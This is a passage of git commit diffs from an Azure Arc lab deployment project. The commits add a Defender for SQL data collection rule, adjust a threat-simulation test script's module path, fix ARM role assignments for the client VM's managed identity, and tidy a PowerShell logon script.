XBS2Pk5HZHixBpOXPTEztTnXwnE2P9pkbHzQdTltuw8x5MKP+2zRoZQYIu7pZmc6 +# U03dmLq2HnjYNi6cqYJWAAOwBb6J6Gngugnue99qb74py27YP0h1AdkY3m2CDPVt +# I1TkeFN1JFe53Z/zjj3G82jfZfakVqr3lbYoVSfQJL1AoL8ZthISEV09J+BAljis +# 9/kpicO8F7BUhUKz/AyeixmJ5/ALaoHCgRlCGVJ1ijbCHcNhcy4sa3tuPywJeBTp +# kbKpW99Jo3QMvOyRgNI95ko+ZjtPu4b6MhrZlvSP9pEB9s7GdP32THJvEKt1MMU0 +# sHrYUP4KWN1APMdUbZ1jdEgssU5HLcEUBHG/ZPkkvnNtyo4JvbMBV0lUZNlz138e +# W0QBjloZkWsNn6Qo3GcZKCS6OEuabvshVGtqRRFHqfG3rsjoiV5PndLQTHa1V1QJ +# sWkBRH58oWFsc/4Ku+xBZj1p/cvBQUl+fpO+y/g75LcVv7TOPqUxUYS8vwLBgqJ7 +# Fx0ViY1w/ue10CgaiQuPNtq6TPmb/wrpNPgkNWcr4A245oyZ1uEi6vAnQj0llOZ0 +# dFtq0Z4+7X6gMTN9vMvpe784cETRkPHIqzqKOghif9lwY1NNje6CbaUFEMFxBmoQ +# tB1VM1izoXBm8qGCAtcwggJAAgEBMIIBAKGB2KSB1TCB0jELMAkGA1UEBhMCVVMx +# EzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoT +# FU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEtMCsGA1UECxMkTWljcm9zb2Z0IElyZWxh +# bmQgT3BlcmF0aW9ucyBMaW1pdGVkMSYwJAYDVQQLEx1UaGFsZXMgVFNTIEVTTjo4 +# RDQxLTRCRjctQjNCNzElMCMGA1UEAxMcTWljcm9zb2Z0IFRpbWUtU3RhbXAgU2Vy +# dmljZaIjCgEBMAcGBSsOAwIaAxUAcYtE6JbdHhKlwkJeKoCV1JIkDmGggYMwgYCk +# fjB8MQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMH +# UmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSYwJAYDVQQD +# Ex1NaWNyb3NvZnQgVGltZS1TdGFtcCBQQ0EgMjAxMDANBgkqhkiG9w0BAQUFAAIF +# AOiyYcgwIhgPMjAyMzA5MTgxMzQyMzJaGA8yMDIzMDkxOTEzNDIzMlowdzA9Bgor +# BgEEAYRZCgQBMS8wLTAKAgUA6LJhyAIBADAKAgEAAgIChgIB/zAHAgEAAgIROzAK +# AgUA6LOzSAIBADA2BgorBgEEAYRZCgQCMSgwJjAMBgorBgEEAYRZCgMCoAowCAIB +# AAIDB6EgoQowCAIBAAIDAYagMA0GCSqGSIb3DQEBBQUAA4GBACimMe8cWKdDT195 +# yYjM1xA0PaVJZTKOTcZxKpsJIEJtnSpCniqblmhL7GC4Wp9IvBGitFvYpqjFD6eh +# FI7N5k5G7ys6TEoyjhF7MN2nH/6XoZBg0DvaOGgyxToNDUCHxc3h4YRShpibbtPw +# VnlW4zxMmF63EOwKayeREuMrV0C+MYIEDTCCBAkCAQEwgZMwfDELMAkGA1UEBhMC +# VVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNV +# BAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEmMCQGA1UEAxMdTWljcm9zb2Z0IFRp +# bWUtU3RhbXAgUENBIDIwMTACEzMAAAGz/iXOKRsbihwAAQAAAbMwDQYJYIZIAWUD +# BAIBBQCgggFKMBoGCSqGSIb3DQEJAzENBgsqhkiG9w0BCRABBDAvBgkqhkiG9w0B +# CQQxIgQg8bba9jmx1gXjrocO2kpKFenYfHRbM6DVHirayqpDD1wwgfoGCyqGSIb3 +# DQEJEAIvMYHqMIHnMIHkMIG9BCCGoTPVKhDSB7ZG0zJQZUM2jk/ll1zJGh6KOhn7 +# 6k+/QjCBmDCBgKR+MHwxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9u +# MRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRp +# b24xJjAkBgNVBAMTHU1pY3Jvc29mdCBUaW1lLVN0YW1wIFBDQSAyMDEwAhMzAAAB +# s/4lzikbG4ocAAEAAAGzMCIEILRyvQNx1MvWYIYXY8BuJmvmTpQf801ozzl6JhrX +# vU4vMA0GCSqGSIb3DQEBCwUABIICALD8yrBcUdrtKJAx5BOhHqnXo/uXujn0dq6I +# Bn4lrCDTcJadRxmUnEyJHDpa26LbWYWuvHrPA2lAlwY7GzBMeWtYYEXCm1L0sUCX +# hhMV4tGLtJ3k/b/Bjd02eOHuTtqBTBPdpBeoDyKvGGGFzHC4Uck9v1M0ZgRH1aNo +# pXhMbO6OP+PnVQWfdJuNQk1s5nHxKD2k0VoaY/9/LVWv8ywZ/0qzA16JUdA6RxnS +# CMZERDw6oFLLw5GW/7SFQux4SN22AwqlnMerxHTz4xXMrG2irrTGAEYJfB5d0i8P +# 0/4D6z23cuVGkZDSGe4Z1TnV8B+3uPKwOlpMyNdDtpK5cisGoPuN7dwQJ8G1vz8M +# XX5i/M4b5APzN0GSHUy1kNO36D9c7NPqtdPS7CBYLR1jIsjK+MKFjevAXFBnVX9L +# Y+8zy6y4iA48W2ED+LmDdPO0U0X5uFsyWqw7Xk4j2pf91d/FhwbKc6yINpsgqt80 +# upmYuaYrENKIErmk5gAJevj7m1c5BgWBWjS9TcNe3sM+DiAKu1UEStnuapWHOljv +# w22o0a1Tpw3TJnq+xRzc4SkMSu7p/E9yKvy0/a8XRVVoA8ZWbGNMC6IDpnBW88bo +# 9Pdnjl9cu5p4M/yLtpf/YF6159C4HFoFC3uPm2tzO/CNleFnSRUNmGUB9P2cfuFe +# tsgd9AN1 +# SIG # End signature block diff --git a/azure_jumpstart_arcbox/artifacts/defendersqldcrtemplate.json b/azure_jumpstart_arcbox/artifacts/defendersqldcrtemplate.json new file mode 100644 index 0000000000..3adffbd0f5 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/defendersqldcrtemplate.json @@ -0,0 +1,42 @@ +{ + "properties": { + "description": "Data collection rule for Azure Defender for SQL. Deleting this rule will break the detection of Azure Defender for SQL.", + "dataSources": { + "extensions": [ + { + "streams": [ + "Microsoft-DefenderForSqlAlerts", + "Microsoft-DefenderForSqlLogins", + "Microsoft-DefenderForSqlTelemetry", + "Microsoft-SqlAtpStatus-DefenderForSql" + ], + "extensionName": "AdvancedThreatProtection", + "extensionSettings": { + "enableCollectionOfSqlQueriesForSecurityReserch": "true" + }, + "name": "AdvancedThreatProtection" + } + ] + }, + "destinations": { + "logAnalytics": [ + { + "workspaceResourceId": "{LOGANLYTICS_WORKSPACEID}", + "name": "LogAnalyticsDest" + } + ] + }, + "dataFlows": [ + { + "streams": [ + "Microsoft-DefenderForSqlAlerts", + "Microsoft-DefenderForSqlLogins", + "Microsoft-DefenderForSqlTelemetry" + ], + "destinations": [ + "LogAnalyticsDest" + ] + } + ] + } +} \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/testDefenderForSQL.ps1 b/azure_jumpstart_arcbox/artifacts/testDefenderForSQL.ps1 index ffae28d5e4..e3e50fe505 100644 --- a/azure_jumpstart_arcbox/artifacts/testDefenderForSQL.ps1 +++ b/azure_jumpstart_arcbox/artifacts/testDefenderForSQL.ps1 @@ -1,22 +1,10 @@ # Execute sql commands to generate defender for cloud alerts +param ( + [string]$workingDir = "C:\ArcBox" +) Write-Host "Executing Defender for SQL threat simulation script." -$attempts = 0 - -while ($attempts -le 5) -{ - $moduleFile = (Get-ChildItem -Path "$Env:ProgramFiles\Microsoft Monitoring Agent\Agent\Health Service State\Resources\" -File SqlAdvancedThreatProtectionShell.psm1 -Recurse -ErrorAction SilentlyContinue).FullName - $attempts = $attempts + 1 - if ($true -eq [System.IO.File]::Exists($moduleFile)) - { - Write-Host "Found module file $moduleFile installed." - break - } - else - { - Write-Host "Module file $moduleFile not installed. Waiting for the module to be installed. Attempt: $attempts" - Start-Sleep(60) # Wait for agent to isntall all modules - } -} +Write-Host "Current working directory: $pwd" +$moduleFile = $workingDir + "\SqlAdvancedThreatProtectionShell.psm1" if ($true -ne [System.IO.File]::Exists($moduleFile)) { From 68d3ef358e4b7f95a361376c3e4fd2c8c3c45cc3 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 16:07:44 -0400 Subject: [PATCH 152/506] Update clientVm.json --- .../ARM/clientVm/clientVm.json | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index 87839f663c..9dee7da4b3 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -276,6 +276,9 @@ "name": "[variables('vmName')]", "location": "[parameters('location')]", "tags": "[parameters('resourceTags')]", + "identity": { + "type": "SystemAssigned" + }, "dependsOn": [ "[resourceId('Microsoft.Network/networkInterfaces/', variables('networkInterfaceName'))]" ], @@ -341,9 +344,23 @@ "commandToExecute": "[concat('powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1', ' -adminUsername ', parameters('windowsAdminUsername'), ' -adminPassword ' , parameters('windowsAdminPassword'), ' -spnClientId ', parameters('spnClientId'), ' -spnClientSecret ', parameters('spnClientSecret'), ' -spnTenantId ', parameters('spnTenantId'), ' -spnAuthority ', parameters('spnAuthority'), ' -subscriptionId ', subscription().subscriptionId, ' -resourceGroup ', resourceGroup().name, ' -azdataUsername ', parameters('azdataUsername'), ' -azdataPassword ', parameters('azdataPassword'), ' -acceptEula ', parameters('acceptEula'), ' -registryUsername ', parameters('registryUsername'), ' -registryPassword ', parameters('registryPassword'), ' -arcDcName ', parameters('arcDcName'), ' -azureLocation ', parameters('location'), ' -mssqlmiName ', parameters('mssqlmiName'), ' -POSTGRES_NAME ', parameters('postgresName'), ' -POSTGRES_WORKER_NODE_COUNT ', parameters('postgresWorkerNodeCount'), ' -POSTGRES_DATASIZE ', parameters('postgresDatasize'), ' -POSTGRES_SERVICE_TYPE ', parameters('postgresServiceType'), ' -stagingStorageAccountName ', parameters('stagingStorageAccountName'), ' -workspaceName ', parameters('workspaceName'), ' -capiArcDataClusterName ', parameters('capiArcDataClusterName'), ' -templateBaseUrl ', parameters('templateBaseUrl'), ' -flavor ', parameters('flavor'), ' -k3sArcClusterName ', parameters('k3sArcClusterName'), ' -aksArcClusterName ', parameters('aksArcClusterName') , ' -aksdrArcClusterName ', parameters('aksdrArcClusterName') , ' -githubUser ', parameters('githubUser'), ' -rdpPort ', parameters('rdpPort'), ' -sshPort ', parameters('sshPort'))]" } } + }, + { + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "scope": "[resourceGroup()]", + "name": "guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner')", + "properties": { + "roleDefinitionId": "resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')", + "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', variables('vmName')), '2019-07-01', 'Full').identity.principalId]" }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines/', variables('vmName'))]" + ], + "metadata": { + "description": "Assigns Client VM managed identity Owner Role at resource group level" + } } ], - "outputs": { "adminUsername": { "type": "string", From 4fc8608d7217563f220ddcf26a54f57cd2b2dcab Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 16:15:28 -0400 Subject: [PATCH 153/506] Update clientVm.json --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index 9dee7da4b3..0b37692f1a 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -348,7 +348,7 @@ { "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2022-04-01", - "scope": "[resourceGroup()]", + "scope": "resourceGroup()", "name": "guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner')", "properties": { "roleDefinitionId": "resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')", From a11eb0a6e5abc2939357353311d6c9b1d652d364 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 16:30:05 -0400 Subject: [PATCH 154/506] Update clientVm.json --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index 0b37692f1a..ca9200e0aa 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -348,10 +348,10 @@ { "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2022-04-01", - "scope": "resourceGroup()", - "name": "guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner')", + "scope": "[resourceGroup()]", + "name": "[guid(variables('vmName'), 'Microsoft.Authorization/roleAssignments', 'Owner')]", "properties": { - "roleDefinitionId": "resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')", + "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', variables('vmName')), '2019-07-01', 'Full').identity.principalId]" }, "dependsOn": [ "[resourceId('Microsoft.Compute/virtualMachines/', variables('vmName'))]" From c738091ef74a6b0973d99e4273dccd61819cdf04 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 16:32:18 -0400 Subject: [PATCH 155/506] Update clientVm.json --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index ca9200e0aa..8cc1452700 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -348,7 +348,7 @@ { "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2022-04-01", - "scope": "[resourceGroup()]", + "scope": "resourceGroup()", "name": "[guid(variables('vmName'), 'Microsoft.Authorization/roleAssignments', 'Owner')]", "properties": { "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", From 05c88f174c17aa638f4fc9003fbaaafbf3ea25ca Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 16:35:43 -0400 Subject: [PATCH 156/506] Update clientVm.json --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index 8cc1452700..a66b520ec2 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -348,7 +348,7 @@ { "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2022-04-01", - "scope": "resourceGroup()", + "scope": "resourceGroup().id", "name": "[guid(variables('vmName'), 'Microsoft.Authorization/roleAssignments', 'Owner')]", "properties": { "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", From d39eb37921f009edab2d6ed63f11ed21c70689f6 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 16:45:38 -0400 Subject: [PATCH 157/506] Update clientVm.json --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index a66b520ec2..67ca2c1055 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -348,7 +348,7 @@ { "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2022-04-01", - "scope": "resourceGroup().id", + "scope": "[resourceGroup().id]", "name": "[guid(variables('vmName'), 'Microsoft.Authorization/roleAssignments', 'Owner')]", "properties": { "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", From e0481adbfc5f7ce4dda14aa48024796d1fd25a7b Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 17:18:05 -0400 Subject: [PATCH 158/506] Update clientVm.json --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index 67ca2c1055..530fdcdc8d 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -348,13 +348,12 @@ { "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2022-04-01", - "scope": "[resourceGroup().id]", "name": "[guid(variables('vmName'), 'Microsoft.Authorization/roleAssignments', 'Owner')]", "properties": { - "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", + "roleDefinitionId": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', variables('vmName')), '2019-07-01', 'Full').identity.principalId]" }, "dependsOn": [ - "[resourceId('Microsoft.Compute/virtualMachines/', variables('vmName'))]" + "[resourceId('Microsoft.Compute/virtualMachines', variables('vmName'))]" ], "metadata": { "description": "Assigns Client VM managed identity Owner Role at resource group level" From c76c77d6c73a05bb68c54c0821ae908b34ab60eb Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 20:46:36 -0400 Subject: [PATCH 159/506] Update clientVm.json --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index 530fdcdc8d..0015ee0584 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -358,6 +358,21 @@ "metadata": { "description": "Assigns Client VM managed identity Owner Role at resource group level" } + }, + { + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "name": "[guid(variables('vmName'), 'Microsoft.Authorization/roleAssignments', 'Contributor')]", + "scope": "subscription().id", + "properties": { + "roleDefinitionId": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'b24988ac-6180-42a0-ab88-20f7382dd24c')]", + "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', variables('vmName')), '2019-07-01', 'Full').identity.principalId]" }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines', variables('vmName'))]" + ], + "metadata": { + "description": "Assigns Client VM managed identity Contributor Role at subscription level" + } } ], "outputs": { From 0419f259280e6c5c29debe6f10dfc747e3c95f4c Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 20:51:26 -0400 Subject: [PATCH 160/506] Update clientVm.json --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index 0015ee0584..bc4110966f 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -363,7 +363,7 @@ "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2022-04-01", "name": "[guid(variables('vmName'), 'Microsoft.Authorization/roleAssignments', 'Contributor')]", - "scope": "subscription().id", + "scope": "[subscription().id]", "properties": { "roleDefinitionId": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'b24988ac-6180-42a0-ab88-20f7382dd24c')]", "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', variables('vmName')), '2019-07-01', 'Full').identity.principalId]" }, From efef48e172f6722d81dac41648ae03eb35a3956c Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 20:59:21 -0400 Subject: [PATCH 161/506] Update clientVm.json --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index bc4110966f..f1928986e5 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -363,9 +363,8 @@ "type": "Microsoft.Authorization/roleAssignments", "apiVersion": "2022-04-01", "name": "[guid(variables('vmName'), 'Microsoft.Authorization/roleAssignments', 'Contributor')]", - "scope": "[subscription().id]", "properties": { - "roleDefinitionId": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'b24988ac-6180-42a0-ab88-20f7382dd24c')]", + "roleDefinitionId": "[concat('/subscriptions/', subscription().subscriptionId, '/providers/Microsoft.Authorization/roleDefinitions/', 'b24988ac-6180-42a0-ab88-20f7382dd24c')]", "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', variables('vmName')), '2019-07-01', 'Full').identity.principalId]" }, "dependsOn": [ "[resourceId('Microsoft.Compute/virtualMachines', variables('vmName'))]" From f1403260e8d0547ee5f4231d574da75e346aeb18 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 21:05:17 -0400 Subject: [PATCH 162/506] Update clientVm.json --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 14 -------------- 1 file changed, 14 deletions(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index f1928986e5..530fdcdc8d 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -358,20 +358,6 @@ "metadata": { "description": "Assigns Client VM managed identity Owner Role at resource group level" } - }, - { - "type": "Microsoft.Authorization/roleAssignments", - "apiVersion": "2022-04-01", - "name": "[guid(variables('vmName'), 'Microsoft.Authorization/roleAssignments', 'Contributor')]", - "properties": { - "roleDefinitionId": "[concat('/subscriptions/', subscription().subscriptionId, '/providers/Microsoft.Authorization/roleDefinitions/', 'b24988ac-6180-42a0-ab88-20f7382dd24c')]", - "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', variables('vmName')), '2019-07-01', 'Full').identity.principalId]" }, - "dependsOn": [ - "[resourceId('Microsoft.Compute/virtualMachines', variables('vmName'))]" - ], - "metadata": { - "description": "Assigns Client VM managed identity Contributor Role at subscription level" - } } ], "outputs": { From 3faadefd024250af79b01c44c6d0adbe52ee4758 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 21:07:02 -0400 Subject: [PATCH 163/506] Update ArcServersLogonScript.ps1 --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 7 ------- 1 file changed, 7 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index d743e1da72..04029bfb6b 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -138,15 +138,8 @@ if ($Env:flavor -ne "DevOps") { Write-Header "Az PowerShell Login" Connect-AzAccount -Identity -Tenant $spnTenantId -Subscription $subscriptionId - # Register Azure providers - Write-Header "Registering Providers" - @("Microsoft.HybridCompute","Microsoft.HybridConnectivity","Microsoft.GuestConfiguration","Microsoft.AzureArcData") | ForEach-Object -Parallel { - az provider register --namespace $PSItem --wait --only-show-errors - } - # Enable defender for cloud for SQL Server # Get workspace information - $workspaceID = (az monitor log-analytics workspace show --resource-group $resourceGroup --workspace-name $Env:workspaceName --query "customerId" -o tsv) $workspaceResourceID = (az monitor log-analytics workspace show --resource-group $resourceGroup --workspace-name $Env:workspaceName --query "id" -o tsv) # Verify existing plan and update accordingly From a41071474ebdd4d655a3dbea0869c86010a0244c Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 21:33:25 -0400 Subject: [PATCH 164/506] Update ArcServersLogonScript.ps1 --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 04029bfb6b..5ad7192f5d 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -221,7 +221,9 @@ if ($Env:flavor -ne "DevOps") { } while($retryCount -le 5) # Create SQL server extension as policy to auto deployment is disabled + Write-Host "Installing SQL Server extension on the Arc-enabled Server." az connectedmachine extension create --machine-name $SQLvmName --name "WindowsAgent.SqlServer" --resource-group $resourceGroup --type "WindowsAgent.SqlServer" --publisher "Microsoft.AzureData" --settings '{\"LicenseType\":\"Paid\", \"SqlManagement\": {\"IsEnabled\":true}}' + Write-Host "SQL Server extension installation on the Arc-enabled Server successful." $retryCount = 0 do { From 7afbe4117a93ad5b5013bb683cc4a227f1ad5cfb Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Fri, 21 Jun 2024 09:34:08 -0400 Subject: [PATCH 165/506] Moved Defender for SQL Server plan update into ARM template --- .../ARM/mgmt/mgmtArtifacts.json | 22 ++++++++++++++++++- .../artifacts/ArcServersLogonScript.ps1 | 15 ------------- 2 files changed, 21 insertions(+), 16 deletions(-) diff --git a/azure_jumpstart_arcbox/ARM/mgmt/mgmtArtifacts.json b/azure_jumpstart_arcbox/ARM/mgmt/mgmtArtifacts.json index 7f7d360ced..b0904e3b1d 100644 --- a/azure_jumpstart_arcbox/ARM/mgmt/mgmtArtifacts.json +++ b/azure_jumpstart_arcbox/ARM/mgmt/mgmtArtifacts.json @@ -598,6 +598,26 @@ } ] } - } + }, + { + "type": "Microsoft.Security/pricings", + "apiVersion": "2024-01-01", + "name": "SqlServerVirtualMachines", + "properties": { + "pricingTier": "Standard" + } + }, + { + "type": "Microsoft.Security/workspaceSettings", + "apiVersion": "2017-08-01-preview", + "name": "default", + "properties": { + "workspaceId": "[concat('/subscriptions/', subscription().id, '/resourceGroups/', resourceGroup().name, '/providers/Microsoft.OperationalInsights/workspaces/', parameters('workspaceName'))]", + "scope": "[subscription().id]" + }, + "dependsOn": [ + "[resourceId('Microsoft.OperationalInsights/workspaces', parameters('workspaceName'))]" + ] + } ] } diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 5ad7192f5d..a5d1659482 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -142,21 +142,6 @@ if ($Env:flavor -ne "DevOps") { # Get workspace information $workspaceResourceID = (az monitor log-analytics workspace show --resource-group $resourceGroup --workspace-name $Env:workspaceName --query "id" -o tsv) - # Verify existing plan and update accordingly - $currentsqlplan = (az security pricing show -n SqlServerVirtualMachines --subscription $subscriptionId | ConvertFrom-Json) - if ($currentsqlplan.pricingTier -eq "Free") { - # Update to standard plan - Write-Header "Current Defender for SQL plan is $($currentsqlplan.pricingTier). Updating to standard plan." - az security pricing create -n SqlServerVirtualMachines --tier 'standard' --subscription $subscriptionId --only-show-errors - 